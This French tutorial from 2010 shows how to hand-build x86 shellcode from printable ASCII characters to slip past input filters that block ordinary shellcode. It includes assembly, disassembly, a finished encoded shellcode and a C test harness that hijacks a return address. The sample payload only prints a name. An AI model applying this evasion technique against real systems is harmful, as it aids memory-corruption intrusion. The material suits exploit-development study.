Title: How to create an ASCII shellcode ?
Author: Florian Gaultier
Date: 2010-06-21
Language: French
Original version: http://howto.shell-storm.org/files/howto-3.php
I - Présentation du polymorphisme à caractère ASCII imprimable
==============================================================
Afin de parer à un grand nombre de vulnérabilités, dont l'exécution de shellcodes classiques, certains
programmes mettent en place des restrictions sur les tampons.
Imaginons un programme effectuant une vérification sur ce qui est entré, n'acceptant que des caractères
imprimables, il est alors impossible d'inscrire la plupart des instructions assembleurs habituellement
utilisées.
Par exemple l'interruption 0x80 : \xcd\x80, ces deux opcodes ne correspondent à aucun caractère ascii
imprimable. Heureusement, il nous reste suffisamment d'instructions utilisant des caractères imprimables..
II - Concept et structure d'un shellcode polymorphique ASCII
============================================================
Un shellcode polymorphique ASCII, comme son nom l'indique, est avant tout polymorphique, c'est à dire
qu'un morceau de notre shellcode servira à décoder notre véritable shellcode qui sera écrit sous forme
de phrase. En revanche, au lieu d'utiliser une boucle comme pour un shellcode polymorphique classique,
la difficulté sera de décoder différemment chaque octet.
Les caractères ascii imprimables sont compris entre x20 et x7e. Mais pour les puristes, nous pouvons
augmenter la difficulté en n'utilisant que des caractères alphanumériques : cela permet de passer
également à travers les restrictions de tampons alphanumériques.
Les caractères alphanumériques sont compris dans les plages x30 - x39, x41 - x5a et x61 - x7a.
Pour décoder, nous utilisons l'instruction xor dont les opcodes correspondent à un caractère alphanumérique.
Plusieurs méthodes existent pour décoder chaque opcode. Nous pouvons construire le shellcode en transformant
une phrase, placé en fin de shellcode, en instructions avant que l'eip n'y arrive.
+------------+------------+--------------------+
| "OUTILS" | DECODEUR | SHELLCODE ENCODÉ |
+------------+------------+--------------------+
Une autre méthode consiste à construire le shellcode dans la pile en décodant soit dans un registre, soit
dans la pile directement. Il faut ensuite trouver un moyen de sauter dans la pile.
+------------+-------------------------------+-----------+-------------------------------+------------+
| "OUTILS" | MORCEAU DE SHELLCODE ENCODÉ | DÉCODEUR | MORCEAU DE SHELLCODE ENCODÉ | DÉCODEUR | ...
+------------+-------------------------------+-----------+-------------------------------+------------+
Bien sur chaque méthode présente des avantages et des inconvénients.
III - La construction du shellcode
==================================
III - 1. "Les outils"
---------------------
Comme nous pouvons le constater, les deux méthodes citées précédemment utilisent des "outils".
C'est une suite d'instructions qui éditent les registres qui seront utilisés après pour décoder.
dec esp
dec esp
dec esp
dec esp
pop edx ; Permet de récupérer dans un registre l'adresse du début du shellcode.
push dword 0x58494741
pop eax
xor eax, 0x58494741
dec eax ; Permet de récupérer dans un registre FFFFFFFF.
push esp
pop ecx ; Permet de récupérer dans un registre l'adresse de la pile.
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad
L'instruction pop est un caractère ascii imprimable uniquement pour eax, ecx et edx c'est pourquoi
nous utilisons popad après avoir empilé dans un ordre précis tous les registres.
En effet popad équivaut à la suite POP EDI ; POP ESI ; POP EBP ; POP ESP ; POP EBX ; POP EDX ;
POP ECX ; POP EAX.
Nos outils sont donc prêts à l'emploi : eax avec l'adresse du début du shellcode, ecx avec l'adresse
de la pile, edx nous servira à xorer ce que nous voulons et enfin ebx avec FFFFFFFF qui, utilisé avec
xor, équivaut à l'instruction not.
Cette suite d'instruction donne : LLLLZhAGIXX5AGIXHTYRQRPTUVWa
Un tour par gdb pour vérifier les registres : eax:080495B4 ebx:FFFFFFFF ecx:BFC83220
edx:080495B4 esp:BFC83220 eip:080495D0
Tout est okay !
III - 2. Quelques calculs
-------------------------
La partie la plus délicate est maintenant de trouver comment xorer un octet compris dans les limites
des caractères imprimables, avec un caractère imprimable afin de donner l'octet du shellcode final.
Nous allons continuer avec le shellcode précédent, et le réécrire en trouvant le bon xoring pour chaque
octet afin de ne donner une ligne que de caracères imprimables.
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x09\x6a\x0a\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\x89\xe1\xb3
\x01\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80
On peut déjà garder certains octets qui sont déjà imprimable ce qui nous donne :
\x31\xXX\x31\xXX\x31\xXX\x31\xXX\xXX\xXX\x6a\xXX\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\xXX\xXX\xXX
\xXX\xXX\xXX\xXX\xXX\x31\xXX\xXX\xXX\xXX\xXX
Nous avons 20 octets à transformer.
Sortez les calculettes, on attaque par C0.
Un simple not suffit pour transformer C0 en 3F.
Pour 09 nous pouvons xorer par 20 jusqu'à 71.
Pour E1 un not ce qui nous donne 1E puis un xor par 50 par exemple.
C'est donc toujours soit un not, soit un not puis un xor, soit un xor qu'il faut trouver !
\x31
\xc0 not \x3f
\x31
\xdb not \x24
\x31
\xc9 not \x36
\x31
\xd2 not \x2d
\xb2 not \x4d
\x09 xor 50 \x59
\x6a
\x0a xor 50 \x59
\x68
\x74
\x68
\x61
\x6e
\x68
\x6a
\x6f
\x6e
\x61
\x89 not \x76
\xe1 not xor 50 \x4e
\xb3 not \x4c
\x01 xor 50 \x51
\xb0 not \x4f
\x04 xor 50 \x54
\xcd not \x32
\x80 not xor 50 \x2f
\x31
\xdb not \x24
\xb0 not \x4f
\x01 xor 50 \x51
\xcd not \x32
\x80 not xor 50 \x2f
Voilà, c'est assez fastidieux, mais rien ne vous empêche de xorer pour obtenir une jolie phrase
(exemple http://www.shell-storm.org/shellcode/files/shellcode-650.php) ou pour obtenir uniquement des
caractères alphanumériques !
Nous obtenons ici : 1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/
III - 3. Décodage (méthode 1)
-----------------------------
Les outils et les xor en mains, il est très simple de décoder la phrase.
La difficulté restante est de trouver le bon pas pour tomber sur le bon octet à xorer, nous le déterminerons
par la suite à l'aide de ndisasm.
Pour plus de simplicité commençons à 40 (28 en hexa) qui est un nombre rond et qui correspond à un caractère
imprimable. Le shellcode à décoder ne devra donc pas dépasser 86 octets avec cette méthode.
xor [eax + 41], bh ; Nous commençons par le second octet vu que le premier est 31 avec un not (xor ff)
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050 ; Nous modifions dx pour pouvoir xorer avec 4A
pop dx
xor [eax + 49], dh
push word 0x5050
pop dx
xor [eax + 51], dh
xor [eax + 62], bh
xor [eax + 63], bh ; not puis xor
push word 0x5050
pop dx
xor [eax + 63], dh
xor [eax + 64], bh
push word 0x5050
pop dx
xor [eax + 65], dh
xor [eax + 66], bh
push word 0x5050
pop dx
xor [eax + 67], dh
xor [eax + 68], bh
xor [eax + 69], bh
push word 0x5050
pop dx
xor [eax + 69], dh
xor [eax + 71], bh
xor [eax + 72], bh
push word 0x5050
pop dx
xor [eax + 73], dh
xor [eax + 74], bh
xor [eax + 75], bh
push word 0x5050
pop dx
xor [eax + 75], dh
Toutes ces instructions décodent notre shellcode ! Par chance, seulement 50 sont utilisés pour xorer, ce n'est
pas toujours le cas, surtout si vous voulez faire un shellcode alphanumérique ou écrire votre propre phrase.
Nous pouvons donc regrouper les xor identiques les push word 0x5050 sont là pour l'exemple au cas ou nous ne
pourrions pas xorer tous les octets avec 50.
Cela nous donne donc :
xor [eax + 41], bh
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050
pop dx
xor [eax + 49], dh
xor [eax + 51], dh
xor [eax + 62], bh
xor [eax + 63], bh
xor [eax + 63], dh
xor [eax + 64], bh
xor [eax + 65], dh
xor [eax + 66], bh
xor [eax + 67], dh
xor [eax + 68], bh
xor [eax + 69], bh
xor [eax + 69], dh
xor [eax + 71], bh
xor [eax + 72], bh
xor [eax + 73], dh
xor [eax + 74], bh
xor [eax + 75], bh
xor [eax + 75], dh
En ascii : 0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK
Notre shellcode ascii ressemble pour le moment à
LLLLZhAGIXX5AGIXHTYRQRPTUVWa
0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK
1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/
Il faut maintenant que [eax + 40] donne l'adresse du premier octet de la phrase à décoder !
Pour cela il va falloir ajouter un certain nombre à eax avant de commencer à décoder. Or les opcodes
de l'instruction add ne sont pas imprimables, nous utilisons donc sub qui lui l'est. En effet, soustraire
suffisamment nous permet de retomber sur un nombre plus grand.
Il faut en général trois sub que nous devons compter pour déterminer l'adresse de notre phrase.
Nous passons par ndisasm pour trouver combien additionner.
00000000 4C dec esp
00000001 4C dec esp
00000002 4C dec esp
00000003 4C dec esp
00000004 5A pop edx
00000005 6841474958 push dword 0x58494741
0000000A 58 pop eax
0000000B 3541474958 xor eax,0x58494741
00000010 48 dec eax
00000011 54 push esp
00000012 59 pop ecx
00000013 52 push edx
00000014 51 push ecx
00000015 52 push edx
00000016 50 push eax
00000017 54 push esp
00000018 55 push ebp
00000019 56 push esi
0000001A 57 push edi
0000001B 61 popa
0000001C 2D41414141 sub eax,0x41414141
00000021 2D42424242 sub eax,0x42424242
00000026 2D43434343 sub eax,0x43434343
0000002B 307829 xor [eax+0x29],bh
0000002E 30782B xor [eax+0x2b],bh
00000031 30782D xor [eax+0x2d],bh
00000034 30782F xor [eax+0x2f],bh
00000037 307830 xor [eax+0x30],bh
0000003A 66685050 push word 0x5050
0000003E 665A pop dx
00000040 307031 xor [eax+0x31],dh
00000043 307033 xor [eax+0x33],dh
00000046 30783E xor [eax+0x3e],bh
00000049 30783F xor [eax+0x3f],bh
0000004C 30703F xor [eax+0x3f],dh
0000004F 307840 xor [eax+0x40],bh
00000052 307041 xor [eax+0x41],dh
00000055 307842 xor [eax+0x42],bh
00000058 307043 xor [eax+0x43],dh
0000005B 307844 xor [eax+0x44],bh
0000005E 307845 xor [eax+0x45],bh
00000061 307045 xor [eax+0x45],dh
00000064 307847 xor [eax+0x47],bh
00000067 307848 xor [eax+0x48],bh
0000006A 307049 xor [eax+0x49],dh
0000006D 30784A xor [eax+0x4a],bh
00000070 30784B xor [eax+0x4b],bh
00000073 30704B xor [eax+0x4b],dh
00000076 db "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/" il faut que [eax + 40] ait cette valeur là
Il faut donc ajouter 0x76 - 0x28 à eax pour tomber sur le bon octet, c'est à dire ajouter 0x4e.
Encore du calcul pour déterminer ce qu'il faut soustraire, sachant qu'il faut soustraire des nombres
correspondant à des caractères affichables !
0 - 6D6D6D30 = 929292D0 - 51515130 = 414141A0 - 41414152 = 4E
Le compte est bon !
Notre shellcode est donc terminé :
dec esp
dec esp
dec esp
dec esp
pop edx
push dword 0x58494741
pop eax
xor eax, 0x58494741
dec eax
push esp
pop ecx
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad
sub eax,0x6D6D6D30
sub eax,0x51515130
sub eax,0x41414152
xor [eax + 41], bh
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050
pop dx
xor [eax + 49], dh
xor [eax + 51], dh
xor [eax + 62], bh
xor [eax + 63], bh
xor [eax + 63], dh
xor [eax + 64], bh
xor [eax + 65], dh
xor [eax + 66], bh
xor [eax + 67], dh
xor [eax + 68], bh
xor [eax + 69], bh
xor [eax + 69], dh
xor [eax + 71], bh
xor [eax + 72], bh
xor [eax + 73], dh
xor [eax + 74], bh
xor [eax + 75], bh
xor [eax + 75], dh
db "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/"
Nous obtenons un joli shellcode ascii de 154 caractères !
LLLLZhAGIXX5AGIXHTYRQRPTUVWa-0mmm-0QQQ-RAAA0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0x
D0xE0pE0xG0xH0pI0xJ0xK0pK1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/
Nous testons notre shellcode
#include <stdio.h>
char SC[] =
"LLLLZhAGIXX5AGIXHTYRQRPTUVWa" //les outils
"-0mmm-0QQQ-RAAA" //ajout du pas
//décodage
"0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK"
"1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/"; //phrase à décoder
int main(void)
{
printf("Length: %d\n",strlen(SC));
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) SC;
}
agix ~ # gcc -o test test.c
agix ~ # ./test
Length: 154
jonathan
agix ~ #
Attention il est important d'utiliser
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) SC;
pour que nous puissions récupérer l'adresse du haut de notre shellcode dans eax (à l'aide des 4 dec esp du début)
III - 4. Décodage (méthode 2)
-----------------------------
Une petite explication rapide de la seconde méthode qui consiste à écrire le shellcode dans la pile.
Nous allons utiliser ecx cette fois qui contient l'adresse de la pile.
inc ecx ; Il faut incrémenter ecx pour qu'il pointe vers le premier octet de la pile.
push dword 0x4f51322f ; Nous plaçons dans la pile un morceau de notre phrase.
xor [ecx], bh ; Puis nous éditons chaque octet de la même manière que pour la première méthode.
inc ecx ; Il faut incrémenter ecx à chaque fois pour editer l'octet suivant.
push word 0x5050
pop dx
xor [ecx], dh
inc ecx
...
Pour sauter dans la pile il faut d'abord mettre l'adresse de la pile dans la pile puis faire un ret.
L'instruction ret place dans eip l'adresse pushé sur la pile c'est à dire l'adresse de notre shellcode décodé.
push esp
ret
Malheureusement ret n'est pas imprimable, il faut donc utiliser la même méthode que précédemment et éditer
l'octet à l'avance afin de donner l'instruction ret.
push word 0x7070
pop dx
xor [eax + 100], dh
Pour trouver le pas à ajouter à eax, nous pouvons utiliser ndisasm pour être précis ou bien mettre un
nombre assez grand (qui soit toujours compris dans les caractères imprimables).
Il faudra alors rajouter plusieurs L au bout du shellcode, cela correspond à une décrémentation de esp
et avec un xor 70 donne l'instruction ret.
Le file d'exécution arrivera donc sur un des L qui aura été transformé en ret et sautera dans la pile !
Voici un exemple utilisant cette méthode : http://www.shell-storm.org/shellcode/files/shellcode-619.php
IV - Références
===============
[x] - http://www.shell-storm.org
[1] - Techniques de hacking - Jon Erickson
[2] - ftp://ftp-developpez.com/david-gross/tutoriels/securite/exploitation-avancee-buffer-overflow.pdf